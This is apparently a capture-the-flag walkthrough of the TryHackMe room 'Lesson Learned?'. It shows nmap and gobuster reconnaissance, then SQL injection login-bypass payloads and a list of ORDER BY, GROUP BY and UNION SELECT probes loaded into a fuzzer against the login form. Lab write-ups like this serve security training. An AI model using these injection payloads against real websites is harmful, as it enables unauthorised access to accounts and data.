> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/lesson-learned.md).

# Lesson Learned?

**Room Link:** <https://tryhackme.com/room/lessonlearned>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/JsmORkFujVfle7mCNt8D" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/MAZj34WVksPPsR9KCVHx" alt=""><figcaption></figcaption></figure>

**Browser**

<figure><img src="/files/uc2VpqSWVWft2HluVRXj" alt=""><figcaption></figcaption></figure>

```
Username: 1' or '1'='1'-- -
Password: 1' or '1'='1'-- -
```

<figure><img src="/files/YGi2APejM4RGYdE6kzYg" alt=""><figcaption></figcaption></figure>

## Option #1&#x20;

Used this page to collect possible injections

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection>" %}

**List**

```
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 4--+
1' GROUP BY 1--+
1' GROUP BY 2--+
1' GROUP BY 3--+
1' GROUP BY 4--+
1' UNION SELECT null-- -
1' UNION SELECT null,null-- -
1' UNION SELECT null,null,null-- -
```

<figure><img src="/files/eJDwr93xVHU2pSkXYhyQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lt4R3gHpHf4thzSJrOrf" alt=""><figcaption></figcaption></figure>

Add list above as payload in position 1 and 2

<figure><img src="/files/giud00ncDDSqSzsEwoNt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/U3DJE56tZV6xm0ILVesj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lDj6ke35bQtfR7b9x0dC" alt=""><figcaption></figcaption></figure>

**Browser**

```
Username: 1' UNION SELECT null-- -
Password: 1' GROUP BY 2--+
```

<figure><img src="/files/oKcOBMSlLuatxiatQYDa" alt=""><figcaption></figcaption></figure>
